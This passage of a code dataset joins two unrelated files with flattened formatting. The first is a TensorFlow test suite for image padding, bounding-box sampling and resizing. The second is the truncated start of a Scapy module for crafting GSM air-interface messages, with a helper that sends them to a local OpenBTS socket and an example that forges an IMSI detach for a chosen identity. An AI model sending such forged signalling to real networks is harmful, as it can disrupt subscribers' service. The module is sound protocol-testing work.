use_tensor_inputs_options=None): use_tensor_inputs_options = use_tensor_inputs_options or [False, True] x = np.array(x).reshape(x_shape) for use_tensor_inputs in use_tensor_inputs_options: with self.assertRaisesRegex( (ValueError, errors.InvalidArgumentError), err_msg): self._PadToBoundingBox(x, offset_height, offset_width, target_height, target_width, use_tensor_inputs) def _assertShapeInference(self, pre_shape, height, width, post_shape): image = array_ops.placeholder(dtypes.float32, shape=pre_shape) y = image_ops.pad_to_bounding_box(image, 0, 0, height, width) self.assertEqual(y.get_shape().as_list(), post_shape) def testInt64(self): x = [1, 2, 3, 4, 5, 6, 7, 8, 9] x_shape = [3, 3, 1] y = [0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9] y_shape = [4, 3, 1] x = np.array(x).reshape(x_shape) y = np.array(y).reshape(y_shape) i = constant_op.constant([1, 0, 4, 3], dtype=dtypes.int64) y_tf = image_ops.pad_to_bounding_box(x, i[0], i[1], i[2], i[3]) with self.cached_session(): self.assertAllClose(y, self.evaluate(y_tf)) def testNoOp(self): x_shape = [10, 10, 10] x = np.random.uniform(size=x_shape) offset_height, offset_width = [0, 0] self._assertReturns(x, x_shape, offset_height, offset_width, x, x_shape) def testPadding(self): x = [1, 2, 3, 4, 5, 6, 7, 8, 9] x_shape = [3, 3, 1] offset_height, offset_width = [1, 0] y = [0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9] y_shape = [4, 3, 1] self._assertReturns(x, x_shape, offset_height, offset_width, y, y_shape) offset_height, offset_width = [0, 1] y = [0, 1, 2, 3, 0, 4, 5, 6, 0, 7, 8, 9] y_shape = [3, 4, 1] self._assertReturns(x, x_shape, offset_height, offset_width, y, y_shape) offset_height, offset_width = [0, 0] y = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 0, 0] y_shape = [4, 3, 1] self._assertReturns(x, x_shape, offset_height, offset_width, y, y_shape) offset_height, offset_width = [0, 0] y = [1, 2, 3, 0, 4, 5, 6, 0, 7, 8, 9, 0] y_shape = [3, 4, 1] self._assertReturns(x, x_shape, offset_height, offset_width, y, y_shape) def testShapeInference(self): # Shape function requires placeholders and a graph. with ops.Graph().as_default(): self._assertShapeInference([55, 66, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([50, 60, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([None, 66, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([None, 60, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([55, None, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([50, None, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([None, None, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([55, 66, None], 55, 66, [55, 66, None]) self._assertShapeInference([50, 60, None], 55, 66, [55, 66, None]) self._assertShapeInference([None, None, None], 55, 66, [55, 66, None]) self._assertShapeInference(None, 55, 66, [55, 66, None]) def testNon3DInput(self): # Input image is not 3D x = [0] * 15 offset_height, offset_width = [0, 0] target_height, target_width = [2, 2] for x_shape in ([3, 5], [1, 3, 5, 1, 1]): self._assertRaises(x, x_shape, offset_height, offset_width, target_height, target_width, "must have either 3 or 4 dimensions.") def testZeroLengthInput(self): # Input image has 0-length dimension(s). # Each line is a test configuration: # x_shape, target_height, target_width test_config = (([0, 2, 2], 2, 2), ([2, 0, 2], 2, 2), ([2, 2, 0], 2, 2)) offset_height, offset_width = [0, 0] x = [] for x_shape, target_height, target_width in test_config: self._assertRaises( x, x_shape, offset_height, offset_width, target_height, target_width, "inner 3 dims of 'image.shape' must be > 0", use_tensor_inputs_options=[False]) # The original error message does not contain back slashes. However, they # are added by either the assert op or the runtime. If this behavior # changes in the future, the match string will also needs to be changed. self._assertRaises( x, x_shape, offset_height, offset_width, target_height, target_width, "inner 3 dims of \\'image.shape\\' must be > 0", use_tensor_inputs_options=[True]) def testBadParamsScalarInputs(self): # In this test, inputs do not get converted to tensors before calling the # tf.function. The error message here is raised in python # since the python function has direct access to the scalars. x_shape = [3, 3, 1] x = np.zeros(x_shape) # Each line is a test configuration: # offset_height, offset_width, target_height, target_width, err_msg test_config = ( (-1, 0, 4, 4, "offset_height must be >= 0"), (0, -1, 4, 4, "offset_width must be >= 0"), (2, 0, 4, 4, "height must be <= target - offset"), (0, 2, 4, 4, "width must be <= target - offset")) for config_item in test_config: self._assertRaises( x, x_shape, *config_item, use_tensor_inputs_options=[False]) def testBadParamsTensorInputsEager(self): # In this test inputs get converted to EagerTensors before calling the # tf.function. The error message here is raised in python # since the python function has direct access to the tensor's values. with context.eager_mode(): x_shape = [3, 3, 1] x = np.zeros(x_shape) # Each line is a test configuration: # offset_height, offset_width, target_height, target_width, err_msg test_config = ( (-1, 0, 4, 4, "offset_height must be >= 0"), (0, -1, 4, 4, "offset_width must be >= 0"), (2, 0, 4, 4, "height must be <= target - offset"), (0, 2, 4, 4, "width must be <= target - offset")) for config_item in test_config: self._assertRaises( x, x_shape, *config_item, use_tensor_inputs_options=[True]) @parameterized.named_parameters([("OffsetHeight", (-1, 0, 4, 4)), ("OffsetWidth", (0, -1, 4, 4)), ("Height", (2, 0, 4, 4)), ("Width", (0, 2, 4, 4))]) def testBadParamsTensorInputsGraph(self, config): # In this test inputs get converted to tensors before calling the # tf.function. The error message here is raised during shape inference. with context.graph_mode(): x_shape = [3, 3, 1] x = np.zeros(x_shape) self._assertRaises( x, x_shape, *config, "Paddings must be non-negative", use_tensor_inputs_options=[True]) def testNameScope(self): # Testing name scope requires a graph. with ops.Graph().as_default(): image = array_ops.placeholder(dtypes.float32, shape=[55, 66, 3]) y = image_ops.pad_to_bounding_box(image, 0, 0, 55, 66) self.assertTrue(y.op.name.startswith("pad_to_bounding_box")) def testInvalidInput(self): # Test case for GitHub issue 46890. if test_util.is_xla_enabled(): # TODO(b/200850176): test fails with XLA. return with self.session(): with self.assertRaises(errors_impl.InvalidArgumentError): v = image_ops.pad_to_bounding_box( image=np.ones((1, 1, 1)), target_height=5191549470, target_width=5191549470, offset_height=1, offset_width=1) self.evaluate(v) class InternalPadToBoundingBoxTest(test_util.TensorFlowTestCase, parameterized.TestCase): def _InternalPadToBoundingBox(self, x, offset_height, offset_width, target_height, target_width, use_tensor_inputs): if use_tensor_inputs: offset_height = ops.convert_to_tensor(offset_height) offset_width = ops.convert_to_tensor(offset_width) target_height = ops.convert_to_tensor(target_height) target_width = ops.convert_to_tensor(target_width) x_tensor = ops.convert_to_tensor(x) else: x_tensor = x @def_function.function def pad_bbox(*args): return image_ops.pad_to_bounding_box_internal(*args, check_dims=False) with self.cached_session(): return self.evaluate( pad_bbox(x_tensor, offset_height, offset_width, target_height, target_width)) def _assertReturns(self, x, x_shape, offset_height, offset_width, y, y_shape, use_tensor_inputs_options=None): use_tensor_inputs_options = use_tensor_inputs_options or [False, True] target_height, target_width, _ = y_shape x = np.array(x).reshape(x_shape) y = np.array(y).reshape(y_shape) for use_tensor_inputs in use_tensor_inputs_options: y_tf = self._InternalPadToBoundingBox(x, offset_height, offset_width, target_height, target_width, use_tensor_inputs) self.assertAllClose(y, y_tf) def _assertShapeInference(self, pre_shape, height, width, post_shape): image = array_ops.placeholder(dtypes.float32, shape=pre_shape) y = image_ops.pad_to_bounding_box_internal( image, 0, 0, height, width, check_dims=False) self.assertEqual(y.get_shape().as_list(), post_shape) def testInt64(self): x = [1, 2, 3, 4, 5, 6, 7, 8, 9] x_shape = [3, 3, 1] y = [0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9] y_shape = [4, 3, 1] x = np.array(x).reshape(x_shape) y = np.array(y).reshape(y_shape) i = constant_op.constant([1, 0, 4, 3], dtype=dtypes.int64) y_tf = image_ops.pad_to_bounding_box_internal( x, i[0], i[1], i[2], i[3], check_dims=False) with self.cached_session(): self.assertAllClose(y, self.evaluate(y_tf)) def testNoOp(self): x_shape = [10, 10, 10] x = np.random.uniform(size=x_shape) offset_height, offset_width = [0, 0] self._assertReturns(x, x_shape, offset_height, offset_width, x, x_shape) def testPadding(self): x = [1, 2, 3, 4, 5, 6, 7, 8, 9] x_shape = [3, 3, 1] offset_height, offset_width = [1, 0] y = [0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9] y_shape = [4, 3, 1] self._assertReturns(x, x_shape, offset_height, offset_width, y, y_shape) offset_height, offset_width = [0, 1] y = [0, 1, 2, 3, 0, 4, 5, 6, 0, 7, 8, 9] y_shape = [3, 4, 1] self._assertReturns(x, x_shape, offset_height, offset_width, y, y_shape) offset_height, offset_width = [0, 0] y = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 0, 0] y_shape = [4, 3, 1] self._assertReturns(x, x_shape, offset_height, offset_width, y, y_shape) offset_height, offset_width = [0, 0] y = [1, 2, 3, 0, 4, 5, 6, 0, 7, 8, 9, 0] y_shape = [3, 4, 1] self._assertReturns(x, x_shape, offset_height, offset_width, y, y_shape) def testShapeInference(self): # Shape function requires placeholders and a graph. with ops.Graph().as_default(): self._assertShapeInference([55, 66, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([50, 60, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([None, 66, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([None, 60, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([55, None, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([50, None, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([None, None, 3], 55, 66, [55, 66, 3]) self._assertShapeInference([55, 66, None], 55, 66, [55, 66, None]) self._assertShapeInference([50, 60, None], 55, 66, [55, 66, None]) self._assertShapeInference([None, None, None], 55, 66, [55, 66, None]) self._assertShapeInference(None, 55, 66, [55, 66, None]) def testNameScope(self): # Testing name scope requires a graph. with ops.Graph().as_default(): image = array_ops.placeholder(dtypes.float32, shape=[55, 66, 3]) y = image_ops.pad_to_bounding_box_internal( image, 0, 0, 55, 66, check_dims=False) self.assertTrue(y.op.name.startswith("pad_to_bounding_box")) class SelectDistortedCropBoxTest(test_util.TensorFlowTestCase): def _testSampleDistortedBoundingBox(self, image, bounding_box, min_object_covered, aspect_ratio_range, area_range): original_area = float(np.prod(image.shape)) bounding_box_area = float((bounding_box[3] - bounding_box[1]) * (bounding_box[2] - bounding_box[0])) image_size_np = np.array(image.shape, dtype=np.int32) bounding_box_np = ( np.array(bounding_box, dtype=np.float32).reshape([1, 1, 4])) aspect_ratios = [] area_ratios = [] fraction_object_covered = [] num_iter = 1000 with self.cached_session(): image_tf = constant_op.constant(image, shape=image.shape) image_size_tf = constant_op.constant( image_size_np, shape=image_size_np.shape) bounding_box_tf = constant_op.constant( bounding_box_np, dtype=dtypes.float32, shape=bounding_box_np.shape) begin, size, _ = image_ops.sample_distorted_bounding_box( image_size=image_size_tf, bounding_boxes=bounding_box_tf, min_object_covered=min_object_covered, aspect_ratio_range=aspect_ratio_range, area_range=area_range) y = array_ops.strided_slice(image_tf, begin, begin + size) for _ in range(num_iter): y_tf = self.evaluate(y) crop_height = y_tf.shape[0] crop_width = y_tf.shape[1] aspect_ratio = float(crop_width) / float(crop_height) area = float(crop_width * crop_height) aspect_ratios.append(aspect_ratio) area_ratios.append(area / original_area) fraction_object_covered.append(float(np.sum(y_tf)) / bounding_box_area) # min_object_covered as tensor min_object_covered_t = ops.convert_to_tensor(min_object_covered) begin, size, _ = image_ops.sample_distorted_bounding_box( image_size=image_size_tf, bounding_boxes=bounding_box_tf, min_object_covered=min_object_covered_t, aspect_ratio_range=aspect_ratio_range, area_range=area_range) y = array_ops.strided_slice(image_tf, begin, begin + size) for _ in range(num_iter): y_tf = self.evaluate(y) crop_height = y_tf.shape[0] crop_width = y_tf.shape[1] aspect_ratio = float(crop_width) / float(crop_height) area = float(crop_width * crop_height) aspect_ratios.append(aspect_ratio) area_ratios.append(area / original_area) fraction_object_covered.append(float(np.sum(y_tf)) / bounding_box_area) # Ensure that each entry is observed within 3 standard deviations. # num_bins = 10 # aspect_ratio_hist, _ = np.histogram(aspect_ratios, # bins=num_bins, # range=aspect_ratio_range) # mean = np.mean(aspect_ratio_hist) # stddev = np.sqrt(mean) # TODO(wicke, shlens, dga): Restore this test so that it is no longer flaky. # TODO(irving): Since the rejection probability is not independent of the # aspect ratio, the aspect_ratio random value is not exactly uniformly # distributed in [min_aspect_ratio, max_aspect_ratio). This test should be # fixed to reflect the true statistical property, then tightened to enforce # a stricter bound. Or, ideally, the sample_distorted_bounding_box Op # be fixed to not use rejection sampling and generate correctly uniform # aspect ratios. # self.assertAllClose(aspect_ratio_hist, # [mean] * num_bins, atol=3.6 * stddev) # The resulting crop will not be uniformly distributed in area. In practice, # we find that the area skews towards the small sizes. Instead, we perform # a weaker test to ensure that the area ratios are merely within the # specified bounds. self.assertLessEqual(max(area_ratios), area_range[1]) self.assertGreaterEqual(min(area_ratios), area_range[0]) # For reference, here is what the distribution of area ratios look like. area_ratio_hist, _ = np.histogram(area_ratios, bins=10, range=area_range) print("area_ratio_hist ", area_ratio_hist) # Ensure that fraction_object_covered is satisfied. # TODO(wicke, shlens, dga): Restore this test so that it is no longer flaky. # self.assertGreaterEqual(min(fraction_object_covered), min_object_covered) def testWholeImageBoundingBox(self): height = 40 width = 50 image_size = [height, width, 1] bounding_box = [0.0, 0.0, 1.0, 1.0] image = np.arange( 0, np.prod(image_size), dtype=np.int32).reshape(image_size) self._testSampleDistortedBoundingBox( image, bounding_box, min_object_covered=0.1, aspect_ratio_range=(0.75, 1.33), area_range=(0.05, 1.0)) def testWithBoundingBox(self): height = 40 width = 50 x_shape = [height, width, 1] image = np.zeros(x_shape, dtype=np.int32) # Create an object with 1's in a region with area A and require that # the total pixel values >= 0.1 * A. min_object_covered = 0.1 xmin = 2 ymin = 3 xmax = 12 ymax = 13 for x in np.arange(xmin, xmax + 1, 1): for y in np.arange(ymin, ymax + 1, 1): image[x, y] = 1 # Bounding box is specified as (ymin, xmin, ymax, xmax) in # relative coordinates. bounding_box = (float(ymin) / height, float(xmin) / width, float(ymax) / height, float(xmax) / width) self._testSampleDistortedBoundingBox( image, bounding_box=bounding_box, min_object_covered=min_object_covered, aspect_ratio_range=(0.75, 1.33), area_range=(0.05, 1.0)) def testSampleDistortedBoundingBoxShape(self): # Shape function requires placeholders and a graph. with ops.Graph().as_default(): with self.cached_session(): image_size = constant_op.constant( [40, 50, 1], shape=[3], dtype=dtypes.int32) bounding_box = constant_op.constant( [[[0.0, 0.0, 1.0, 1.0]]], shape=[1, 1, 4], dtype=dtypes.float32, ) begin, end, bbox_for_drawing = image_ops.sample_distorted_bounding_box( image_size=image_size, bounding_boxes=bounding_box, min_object_covered=0.1, aspect_ratio_range=(0.75, 1.33), area_range=(0.05, 1.0)) # Test that the shapes are correct. self.assertAllEqual([3], begin.get_shape().as_list()) self.assertAllEqual([3], end.get_shape().as_list()) self.assertAllEqual([1, 1, 4], bbox_for_drawing.get_shape().as_list()) # Actual run to make sure shape is correct inside Compute(). begin = self.evaluate(begin) end = self.evaluate(end) bbox_for_drawing = self.evaluate(bbox_for_drawing) begin, end, bbox_for_drawing = image_ops.sample_distorted_bounding_box( image_size=image_size, bounding_boxes=bounding_box, min_object_covered=array_ops.placeholder(dtypes.float32), aspect_ratio_range=(0.75, 1.33), area_range=(0.05, 1.0)) # Test that the shapes are correct. self.assertAllEqual([3], begin.get_shape().as_list()) self.assertAllEqual([3], end.get_shape().as_list()) self.assertAllEqual([1, 1, 4], bbox_for_drawing.get_shape().as_list()) def testDefaultMinObjectCovered(self): # By default min_object_covered=0.1 if not provided with self.cached_session(): image_size = constant_op.constant( [40, 50, 1], shape=[3], dtype=dtypes.int32) bounding_box = constant_op.constant( [[[0.0, 0.0, 1.0, 1.0]]], shape=[1, 1, 4], dtype=dtypes.float32, ) begin, end, bbox_for_drawing = image_ops.sample_distorted_bounding_box( image_size=image_size, bounding_boxes=bounding_box, aspect_ratio_range=(0.75, 1.33), area_range=(0.05, 1.0)) self.assertAllEqual([3], begin.get_shape().as_list()) self.assertAllEqual([3], end.get_shape().as_list()) self.assertAllEqual([1, 1, 4], bbox_for_drawing.get_shape().as_list()) # Actual run to make sure shape is correct inside Compute(). begin = self.evaluate(begin) end = self.evaluate(end) bbox_for_drawing = self.evaluate(bbox_for_drawing) def _testStatelessSampleDistortedBoundingBox(self, image, bounding_box, min_object_covered, aspect_ratio_range, area_range): with test_util.use_gpu(): original_area = float(np.prod(image.shape)) bounding_box_area = float((bounding_box[3] - bounding_box[1]) * (bounding_box[2] - bounding_box[0])) image_size_np = np.array(image.shape, dtype=np.int32) bounding_box_np = ( np.array(bounding_box, dtype=np.float32).reshape([1, 1, 4])) iterations = 2 test_seeds = [(1, 2), (3, 4), (5, 6)] for seed in test_seeds: aspect_ratios = [] area_ratios = [] fraction_object_covered = [] for _ in range(iterations): image_tf = constant_op.constant(image, shape=image.shape) image_size_tf = constant_op.constant( image_size_np, shape=image_size_np.shape) bounding_box_tf = constant_op.constant(bounding_box_np, dtype=dtypes.float32, shape=bounding_box_np.shape) begin, size, _ = image_ops.stateless_sample_distorted_bounding_box( image_size=image_size_tf, bounding_boxes=bounding_box_tf, seed=seed, min_object_covered=min_object_covered, aspect_ratio_range=aspect_ratio_range, area_range=area_range) y = array_ops.strided_slice(image_tf, begin, begin + size) y_tf = self.evaluate(y) crop_height = y_tf.shape[0] crop_width = y_tf.shape[1] aspect_ratio = float(crop_width) / float(crop_height) area = float(crop_width * crop_height) aspect_ratios.append(aspect_ratio) area_ratio = area / original_area area_ratios.append(area_ratio) fraction_object_covered.append( float(np.sum(y_tf)) / bounding_box_area) # Check that `area_ratio` is within valid range. self.assertLessEqual(area_ratio, area_range[1]) self.assertGreaterEqual(area_ratio, area_range[0]) # Each array should consist of one value just repeated `iteration` times # because the same seed is used. self.assertEqual(len(set(aspect_ratios)), 1) self.assertEqual(len(set(area_ratios)), 1) self.assertEqual(len(set(fraction_object_covered)), 1) # TODO(b/162345082): stateless random op generates different random number # with xla_gpu. Update tests such that there is a single ground truth result # to test against. def testWholeImageBoundingBoxStateless(self): height = 40 width = 50 image_size = [height, width, 1] bounding_box = [0.0, 0.0, 1.0, 1.0] image = np.arange( 0, np.prod(image_size), dtype=np.int32).reshape(image_size) for min_obj_covered in [0.1, constant_op.constant(0.1)]: self._testStatelessSampleDistortedBoundingBox( image, bounding_box, min_object_covered=min_obj_covered, aspect_ratio_range=(0.75, 1.33), area_range=(0.05, 1.0)) # TODO(b/162345082): stateless random op generates different random number # with xla_gpu. Update tests such that there is a single ground truth result # to test against. def testWithBoundingBoxStateless(self): height = 40 width = 50 x_shape = [height, width, 1] image = np.zeros(x_shape, dtype=np.int32) xmin = 2 ymin = 3 xmax = 12 ymax = 13 for x in np.arange(xmin, xmax + 1, 1): for y in np.arange(ymin, ymax + 1, 1): image[x, y] = 1 # Bounding box is specified as (ymin, xmin, ymax, xmax) in # relative coordinates. bounding_box = (float(ymin) / height, float(xmin) / width, float(ymax) / height, float(xmax) / width) # Test both scalar and tensor input for `min_object_covered`. for min_obj_covered in [0.1, constant_op.constant(0.1)]: self._testStatelessSampleDistortedBoundingBox( image, bounding_box=bounding_box, min_object_covered=min_obj_covered, aspect_ratio_range=(0.75, 1.33), area_range=(0.05, 1.0)) def testSampleDistortedBoundingBoxShapeStateless(self): with test_util.use_gpu(): image_size = constant_op.constant( [40, 50, 1], shape=[3], dtype=dtypes.int32) bounding_box = constant_op.constant( [[[0.0, 0.0, 1.0, 1.0]]], shape=[1, 1, 4], dtype=dtypes.float32, ) bbox_func = functools.partial( image_ops.stateless_sample_distorted_bounding_box, image_size=image_size, bounding_boxes=bounding_box, min_object_covered=0.1, aspect_ratio_range=(0.75, 1.33), area_range=(0.05, 1.0)) # Check error is raised with wrong seed shapes. for seed in [1, (1, 2, 3)]: with self.assertRaises((ValueError, errors.InvalidArgumentError)): begin, end, bbox_for_drawing = bbox_func(seed=seed) test_seed = (1, 2) begin, end, bbox_for_drawing = bbox_func(seed=test_seed) # Test that the shapes are correct. self.assertAllEqual([3], begin.get_shape().as_list()) self.assertAllEqual([3], end.get_shape().as_list()) self.assertAllEqual([1, 1, 4], bbox_for_drawing.get_shape().as_list()) # Actual run to make sure shape is correct inside Compute(). begin = self.evaluate(begin) end = self.evaluate(end) bbox_for_drawing = self.evaluate(bbox_for_drawing) self.assertAllEqual([3], begin.shape) self.assertAllEqual([3], end.shape) self.assertAllEqual([1, 1, 4], bbox_for_drawing.shape) def testDeterminismExceptionThrowing(self): with test_util.deterministic_ops(): with self.assertRaisesRegex( ValueError, "requires a non-zero seed to be passed in when " "determinism is enabled"): image_ops_impl.sample_distorted_bounding_box_v2( image_size=[50, 50, 1], bounding_boxes=[[[0., 0., 1., 1.]]], ) image_ops_impl.sample_distorted_bounding_box_v2( image_size=[50, 50, 1], bounding_boxes=[[[0., 0., 1., 1.]]], seed=1) with self.assertRaisesRegex( ValueError, 'requires "seed" or "seed2" to be non-zero when ' "determinism is enabled"): image_ops_impl.sample_distorted_bounding_box( image_size=[50, 50, 1], bounding_boxes=[[[0., 0., 1., 1.]]]) image_ops_impl.sample_distorted_bounding_box( image_size=[50, 50, 1], bounding_boxes=[[[0., 0., 1., 1.]]], seed=1) class ResizeImagesV2Test(test_util.TensorFlowTestCase, parameterized.TestCase): METHODS = [ image_ops.ResizeMethod.BILINEAR, image_ops.ResizeMethod.NEAREST_NEIGHBOR, image_ops.ResizeMethod.BICUBIC, image_ops.ResizeMethod.AREA, image_ops.ResizeMethod.LANCZOS3, image_ops.ResizeMethod.LANCZOS5, image_ops.ResizeMethod.GAUSSIAN, image_ops.ResizeMethod.MITCHELLCUBIC ] # Some resize methods, such as Gaussian, are non-interpolating in that they # change the image even if there is no scale change, for some test, we only # check the value on the value preserving methods. INTERPOLATING_METHODS = [ image_ops.ResizeMethod.BILINEAR, image_ops.ResizeMethod.NEAREST_NEIGHBOR, image_ops.ResizeMethod.BICUBIC, image_ops.ResizeMethod.AREA, image_ops.ResizeMethod.LANCZOS3, image_ops.ResizeMethod.LANCZOS5 ] TYPES = [ np.uint8, np.int8, np.uint16, np.int16, np.int32, np.int64, np.float16, np.float32, np.float64 ] def _assertShapeInference(self, pre_shape, size, post_shape): # Try single image resize single_image = array_ops.placeholder(dtypes.float32, shape=pre_shape) y = image_ops.resize_images_v2(single_image, size) self.assertEqual(y.get_shape().as_list(), post_shape) # Try batch images resize with known batch size images = array_ops.placeholder(dtypes.float32, shape=[99] + pre_shape) y = image_ops.resize_images_v2(images, size) self.assertEqual(y.get_shape().as_list(), [99] + post_shape) # Try batch images resize with unknown batch size images = array_ops.placeholder(dtypes.float32, shape=[None] + pre_shape) y = image_ops.resize_images_v2(images, size) self.assertEqual(y.get_shape().as_list(), [None] + post_shape) def shouldRunOnGPU(self, method, nptype): if (method == image_ops.ResizeMethod.NEAREST_NEIGHBOR and nptype in [np.float32, np.float64]): return True else: return False @test_util.disable_xla("align_corners=False not supported by XLA") def testNoOp(self): img_shape = [1, 6, 4, 1] single_shape = [6, 4, 1] # This test is also conducted with int8, so 127 is the maximum # value that can be used. data = [ 127, 127, 64, 64, 127, 127, 64, 64, 64, 64, 127, 127, 64, 64, 127, 127, 50, 50, 100, 100, 50, 50, 100, 100 ] target_height = 6 target_width = 4 for nptype in self.TYPES: img_np = np.array(data, dtype=nptype).reshape(img_shape) for method in self.METHODS: with self.cached_session(): image = constant_op.constant(img_np, shape=img_shape) y = image_ops.resize_images_v2(image, [target_height, target_width], method) yshape = array_ops.shape(y) resized, newshape = self.evaluate([y, yshape]) self.assertAllEqual(img_shape, newshape) if method in self.INTERPOLATING_METHODS: self.assertAllClose(resized, img_np, atol=1e-5) # Resizing with a single image must leave the shape unchanged also. with self.cached_session(): img_single = img_np.reshape(single_shape) image = constant_op.constant(img_single, shape=single_shape) y = image_ops.resize_images_v2(image, [target_height, target_width], self.METHODS[0]) yshape = array_ops.shape(y) newshape = self.evaluate(yshape) self.assertAllEqual(single_shape, newshape) # half_pixel_centers unsupported in ResizeBilinear @test_util.disable_xla("b/127616992") def testTensorArguments(self): img_shape = [1, 6, 4, 1] single_shape = [6, 4, 1] # This test is also conducted with int8, so 127 is the maximum # value that can be used. data = [ 127, 127,
codeparrot/github-code-clean
#!/usr/bin/env python # scapy.contrib.description = PPI # scapy.contrib.status = loads """ This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. """ #################################################################### # This file holds the GSM UM interface implementation for Scapy # # author: Laurent Weber <k@0xbadcab1e.lu> # # # # Some examples on how to use this script: # # http://0xbadcab1e.lu/scapy_gsm_um-howto.txt # # # # tested on: scapy-version: 2.2.0 (dev) # #################################################################### import logging from types import IntType from types import NoneType from types import StringType #from time import sleep import socket logging.getLogger("scapy").setLevel(1) from scapy.all import * # This method is intended to send gsm air packets. It uses a unix domain # socket. It opens a socket, sends the parameter to the socket and # closes the socket. # typeSock determines the type of the socket, can be: # 0 for UDP Socket # 1 for Unix Domain Socket # 2 for TCP def sendum(x, typeSock=0): try: if type(x) is not str: x = str(x) if typeSock is 0: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) host = '127.0.0.1' port = 28670 # default for openBTS s.connect((host, port)) elif typeSock is 1: s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.connect("/tmp/osmoL") elif typeSock is 2: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = '127.0.0.1' port = 43797 s.connect((host, port)) s.send(x) s.close() except: print "[Error]: There was a problem when trying to transmit data.\ Please make sure you started the socket server." # Known Bugs/Problems: # If a message uses multiple times the same IE you cannot set the values # of this IE's if you use the preconfigured packets. You need to build # the IE's by hand and than assemble them as entire messages. # The ErrorLength class is a custom exception that gets raised when a # packet doesn't have the correct size. class ErrorLength(Exception): def __str__(self): error = "ERROR: Please make sure you build entire, 8 bit fields." return repr(error) ### # This method computes the length of the actual IE. # It computes how many "None" fields have to be removed (if any). # The method returns an integer containing the number of bytes that have to be # cut off the packet. # parameter length contains the max length of the IE can be found in # 0408 # The parameter fields contains the value of the fields (not the default but # the real, actual value. # The parameter fields2 contains fields_desc. # Location contains the location of the length field in the IE. Everything # after the the length field has to be counted (04.07 11.2.1.1.2) def adapt(min_length, max_length, fields, fields2, location=2): # find out how much bytes there are between min_length and the location of # the length field location = min_length - location i = len(fields) - 1 rm = mysum = 0 while i >= 0: if fields[i] is None: rm += 1 try: mysum += fields2[i].size except AttributeError: # ByteFields don't have .size mysum += 8 else: break i -= 1 if mysum % 8 is 0: length = mysum / 8 # Number of bytes we have to delete dyn_length = (max_length - min_length - length) if dyn_length < 0: dyn_length = 0 if length is max_length: # Fix for packets that have all values set length -= min_length # to None return [length, dyn_length + location] else: raise ErrorLength() def examples(example=None): if example == None: print """This command presents some example to introduce scapy gsm-um to new users. The following parameters can be used: examples("imsiDetach") examples("call") examples("dissect")""" elif example == "imsiDetach": print """ >>> a=imsiDetachIndication() ... a.typeOfId=1; a.odd=1; a.idDigit1=0xF; ... a.idDigit2_1=2; a.idDigit2=7; a.idDigit3_1=0; ... a.idDigit3=7; a.idDigit4_1=7; a.idDigit4=2; ... a.idDigit5_1=0; a.idDigit5=0; a.idDigit6_1=0; ... a.idDigit6=1; a.idDigit7_1=2; a.idDigit7=7; ... a.idDigit8_1=7; a.idDigit8=5; a.idDigit9_1=1; a.idDigit9=4; >>> hexdump(a) 0000 05 01 00 08 F0 27 07 72 00 01 27 75 14 .....'.r..'u. >>> sendum(a) """ elif example == "call": print """ If you use an USRP and the testcall function this sets up a phonecall: >>> sendum(setupMobileOriginated()) >>> sendum(connectAcknowledge()) """ # Section 10.2/3 class TpPd(Packet): """Skip indicator and transaction identifier and Protocol Discriminator""" name = "Skip Indicator And Transaction Identifier and Protocol \ Discriminator" fields_desc = [ BitField("ti", 0x0, 4), BitField("pd", 0x3, 4) ] class MessageType(Packet): """Message Type Section 10.4""" name = "Message Type" fields_desc = [ XByteField("mesType", 0x3C) ] ## # Message for Radio Resources management (RR) Section 9.1 ### # Network to MS def additionalAssignment(MobileAllocation_presence=0, StartingTime_presence=0): """ADDITIONAL ASSIGNMENT Section 9.1.1""" # Mandatory a = TpPd(pd=0x6) b = MessageType(mesType=0x3B) # 00111011 c = ChannelDescription() packet = a / b / c # Not Mandatory if MobileAllocation_presence is 1: d = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0) packet = packet / d if StartingTime_presence is 1: e = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / e return packet # Network to MS def assignmentCommand(FrequencyList_presence=0, CellChannelDescription_presence=0, CellChannelDescription_presence1=0, MultislotAllocation_presence=0, ChannelMode_presence=0, ChannelMode_presence1=0, ChannelMode_presence2=0, ChannelMode_presence3=0, ChannelMode_presence4=0, ChannelMode_presence5=0, ChannelMode_presence6=0, ChannelMode_presence7=0, ChannelDescription=0, ChannelMode2_presence=0, MobileAllocation_presence=0, StartingTime_presence=0, FrequencyList_presence1=0, ChannelDescription2_presence=0, ChannelDescription_presence=0, FrequencyChannelSequence_presence=0, MobileAllocation_presence1=0, CipherModeSetting_presence=0, VgcsTargetModeIdentication_presence=0, MultiRateConfiguration_presence=0): """ASSIGNMENT COMMAND Section 9.1.2""" a = TpPd(pd=0x6) b = MessageType(mesType=0x2e) # 101110 c = ChannelDescription2() d = PowerCommand() packet = a / b / c / d if FrequencyList_presence is 1: e = FrequencyListHdr(ieiFL=0x05, eightBitFL=0x0) packet = packet / e if CellChannelDescription_presence is 